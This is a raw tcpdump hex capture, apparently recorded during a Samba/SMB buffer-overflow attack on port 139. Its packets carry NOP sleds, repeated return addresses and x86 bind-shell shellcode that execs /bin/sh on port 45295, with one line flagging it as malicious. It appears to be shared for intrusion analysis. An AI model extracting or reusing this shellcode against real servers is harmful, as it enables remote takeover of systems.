0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 9018  .............p..
0x0480      fdff bfa8 fdff bf18 fdff bfa8 fdff bf18  ................
0x0490      fdff bfa8 fdff bf18 fdff bfa8 fdff bf18  ................
0x04a0      fdff bfa8 fdff bf18 fdff bfa8 fdff bf18  ................
0x04b0      fdff bfa8 fdff bf18 fdff bfa8 fdff bf18  ................
0x04c0      fdff bfa8 fdff bf18 fdff bfa8 fdff bf18  ................
0x04d0      fdff bfa8 fdff bf18 fdff bfa8 fdff bf90  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.314261 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8864815 8427749>NBT Packet (DF)
0x0000      4500 05dc 39fe 4000 2f06 dae2 3e10 69a4  E...9.@./...>.i.
0x0010      800a 097d 8550 008b 69b7 80ed 6f8a 22cd  ...}.P..i...o.".
0x0020      8010 16d0 d853 0000 0101 080a 0087 442f  .....S........D/
0x0030      0080 98e5 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:18.314263 XX.XX.XXX.164.34134 > XXX.XX.X.137.45295: S 1771213384:1771213384(0) win 5840 <mss 1460,sackOK,timestamp 8864815 0,nop,wscale 0> (DF)
0x0000      4500 003c d667 4000 2f06 4419 3e10 69a4  E..<.g@./.D.>.i.
0x0010      800a 097d 8556 b0ef 6992 9248 0000 0000  ...}.V..i..H....
0x0020      a002 16d0 8924 0000 0204 05b4 0402 080a  .....$..........
0x0030      0087 442f 0000 0000 0103 0300            ..D/........
11:41:18.314361 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8864815 8427749>NBT Packet (DF)
0x0000      4500 0483 39ff 4000 2f06 dc3a 3e10 69a4  E...9.@./..:>.i.
0x0010      800a 097d 8550 008b 69b7 8695 6f8a 22cd  ...}.P..i...o.".
0x0020      8019 16d0 3b45 0000 0101 080a 0087 442f  ....;E........D/
0x0030      0080 98e5 9090 9090 9090 9090 9090 9090  ................
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:18.319671 XX.XX.XXX.164.34135 > XXX.XX.X.137.139: S 1770612963:1770612963(0) win 5840 <mss 1460,sackOK,timestamp 8864819 0,nop,wscale 0> (DF)
0x0000      4500 003c 2cd0 4000 2f06 edb0 3e10 69a4  E..<,.@./...>.i.
0x0010      800a 097d 8557 008b 6989 68e3 0000 0000  ...}.W..i.h.....
0x0020      a002 16d0 62f2 0000 0204 05b4 0402 080a  ....b...........
0x0030      0087 4433 0000 0000 0103 0300            ..D3........
11:41:18.321478 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: . ack 3011 win 8688 <nop,nop,timestamp 8427765 8864815> (DF)
0x0000      4500 0034 baa9 4000 4006 4edf 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22cd 69b7 8695  >.i....Po.".i...
0x0020      8010 21f0 3ce6 0000 0101 080a 0080 98f5  ..!.<...........
0x0030      0087 442f                                ..D/
11:41:18.321486 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: . ack 3011 win 8688 <nop,nop,timestamp 8427765 8864815> (DF)
0x0000      4500 0034 baa9 4000 4006 4edf 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22cd 69b7 8695  >.i....Po.".i...
0x0020      8010 21f0 3ce6 0000 0101 080a 0080 98f5  ..!.<...........
0x0030      0087 442f                                ..D/
11:41:18.321664 XXX.XX.X.137.45295 > XX.XX.XXX.164.34134: R 0:0(0) ack 1771213385 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8556 0000 0000 6992 9249  >.i....V....i..I
0x0020      5014 0000 4c73 0000                      P...Ls..
11:41:18.321667 XXX.XX.X.137.45295 > XX.XX.XXX.164.34134: R 0:0(0) ack 1 win 0 (DF)
0x0000      4500 0028 0000 4000 ff06 4a94 800a 097d  E..(..@...J....}
0x0010      3e10 69a4 b0ef 8556 0000 0000 6992 9249  >.i....V....i..I
0x0020      5014 0000 4c73 0000                      P...Ls..
11:41:18.321780 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: S 1866683021:1866683021(0) ack 1770612964 win 5792 <mss 1460,sackOK,timestamp 8427765 8864819,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8557 6f43 528d 6989 68e4  >.i....WoCR.i.h.
0x0020      a012 16a0 07cb 0000 0204 05b4 0402 080a  ................
0x0030      0080 98f5 0087 4433 0103 0300            ......D3....
11:41:18.321783 XXX.XX.X.137.139 > XX.XX.XXX.164.34135: S 1866683021:1866683021(0) ack 1770612964 win 5792 <mss 1460,sackOK,timestamp 8427765 8864819,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8557 6f43 528d 6989 68e4  >.i....WoCR.i.h.
0x0020      a012 16a0 07cb 0000 0204 05b4 0402 080a  ................
0x0030      0080 98f5 0087 4433 0103 0300            ......D3....
11:41:18.323464 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427765 8864815> (DF)
0x0000      4500 0034 baaa 4000 4006 4ede 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22cd 69b7 8ae5  >.i....Po.".i...
0x0020      8014 2d40 2d42 0000 0101 080a 0080 98f5  ..-@-B..........
0x0030      0087 442f                                ..D/
11:41:18.323472 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427765 8864815> (DF)
0x0000      4500 0034 baaa 4000 4006 4ede 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22cd 69b7 8ae5  >.i....Po.".i...
0x0020      8014 2d40 2d42 0000 0101 080a 0080 98f5  ..-@-B..........
0x0030      0087 442f                                ..D/
11:41:18.356620 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864837 8427753> (DF)
0x0000      4500 0034 5a5b 4000 2f06 c02d 3e10 69a4  E..4Z[@./..->.i.
0x0010      800a 097d 8552 008b 692b 19ff 6f44 bd57  ...}.R..i+..oD.W
0x0020      8010 16d0 1ad8 0000 0101 080a 0087 4445  ..............DE
0x0030      0080 98e9                                ....
11:41:18.356624 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864837 8427753>NBT Packet (DF)
0x0000      4500 0074 5a5c 4000 2f06 bfec 3e10 69a4  E..tZ\@./...>.i.
0x0010      800a 097d 8552 008b 692b 19ff 6f44 bd57  ...}.R..i+..oD.W
0x0020      8018 16d0 7b18 0000 0101 080a 0087 4445  ....{.........DE
0x0030      0080 98e9 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4c09 6400 0000 0000 0000 5c5c 6970  ..L.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.369243 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427767 8864837>NBT Packet (DF)
0x0000      4500 005f 25c4 4000 4006 e399 800a 097d  E.._%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd57 692b 1a3f  >.i....RoD.Wi+.?
0x0020      8018 16a0 a93e 0000 0101 080a 0080 98f7  .....>..........
0x0030      0087 4445 0000 0027 ff53 4d42 7000 0000  ..DE...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4c09 6400 0000 02ff ff01 0000 00    ..L.d..........
11:41:18.369252 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427767 8864837>NBT Packet (DF)
0x0000      4500 005f 25c4 4000 4006 e399 800a 097d  E.._%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd57 692b 1a3f  >.i....RoD.Wi+.?
0x0020      8018 16a0 a93e 0000 0101 080a 0080 98f7  .....>..........
0x0030      0087 4445 0000 0027 ff53 4d42 7000 0000  ..DE...'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4c09 6400 0000 02ff ff01 0000 00    ..L.d..........
11:41:18.380533 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864849 8427756> (DF)
0x0000      4500 0034 286a 4000 2f06 f21e 3e10 69a4  E..4(j@./...>.i.
0x0010      800a 097d 8554 008b 69c0 6b98 7004 28ab  ...}.T..i.k.p.(.
0x0020      8010 16d0 5c85 0000 0101 080a 0087 4451  ....\.........DQ
0x0030      0080 98ec                                ....
11:41:18.380633 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864849 8427756>NBT Packet (DF)
0x0000      4500 0066 286b 4000 2f06 f1eb 3e10 69a4  E..f(k@./...>.i.
0x0010      800a 097d 8554 008b 69c0 6b98 7004 28ab  ...}.T..i.k.p.(.
0x0020      8018 16d0 c772 0000 0101 080a 0087 4451  .....r........DQ
0x0030      0080 98ec 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4e09 6400 0100 00ff 0000 0000 2002  ..N.d...........
0x0060      0001 0000 0000                           ......
11:41:18.383742 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: . ack 51 win 5792 <nop,nop,timestamp 8427769 8864849> (DF)
0x0000      4500 0034 b052 4000 4006 5936 800a 097d  E..4.R@.@.Y6...}
0x0010      3e10 69a4 008b 8554 7004 28ab 69c0 6bca  >.i....Tp.(.i.k.
0x0020      8010 16a0 5c76 0000 0101 080a 0080 98f9  ....\v..........
0x0030      0087 4451                                ..DQ
11:41:18.383755 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: . ack 51 win 5792 <nop,nop,timestamp 8427769 8864849> (DF)
0x0000      4500 0034 b052 4000 4006 5936 800a 097d  E..4.R@.@.Y6...}
0x0010      3e10 69a4 008b 8554 7004 28ab 69c0 6bca  >.i....Tp.(.i.k.
0x0020      8010 16a0 5c76 0000 0101 080a 0080 98f9  ....\v..........
0x0030      0087 4451                                ..DQ
11:41:18.403291 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427772 8864849>NBT Packet (DF)
0x0000      4500 0061 b053 4000 4006 5908 800a 097d  E..a.S@.@.Y....}
0x0010      3e10 69a4 008b 8554 7004 28ab 69c0 6bca  >.i....Tp.(.i.k.
0x0020      8018 16a0 e3ec 0000 0101 080a 0080 98fc  ................
0x0030      0087 4451 0000 0029 ff53 4d42 7300 0000  ..DQ...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4e09 6400 0100 03ff 0000 0001 0000  ..N.d...........
0x0060      00                                       .
11:41:18.403299 XXX.XX.X.137.139 > XX.XX.XXX.164.34132: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427772 8864849>NBT Packet (DF)
0x0000      4500 0061 b053 4000 4006 5908 800a 097d  E..a.S@.@.Y....}
0x0010      3e10 69a4 008b 8554 7004 28ab 69c0 6bca  >.i....Tp.(.i.k.
0x0020      8018 16a0 e3ec 0000 0101 080a 0080 98fc  ................
0x0030      0087 4451 0000 0029 ff53 4d42 7300 0000  ..DQ...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4e09 6400 0100 03ff 0000 0001 0000  ..N.d...........
0x0060      00                                       .
11:41:18.423655 XX.XX.XXX.164.34136 > XXX.XX.X.137.139: S 1766430611:1766430611(0) win 5840 <mss 1460,sackOK,timestamp 8864872 0,nop,wscale 0> (DF)
0x0000      4500 003c d3fb 4000 2f06 4685 3e10 69a4  E..<..@./.F.>.i.
0x0010      800a 097d 8558 008b 6949 9793 0000 0000  ...}.X..iI......
0x0020      a002 16d0 344c 0000 0204 05b4 0402 080a  ....4L..........
0x0030      0087 4468 0000 0000 0103 0300            ..Dh........
 

Malicious codes!!!

11:41:18.425551 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8864872 8427759>NBT Packet (DF)
0x0000      4500 05dc a8d9 4000 2f06 6c07 3e10 69a4  E.....@./.l.>.i.
0x0010      800a 097d 8551 008b 6985 ebfe 6ff1 7b50  ...}.Q..i...o.{P
0x0020      8010 16d0 654d 0000 0101 080a 0087 4468  ....eM........Dh
0x0030      0080 98ef 0004 0830 ff53 4d42 3200 0000  .......0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
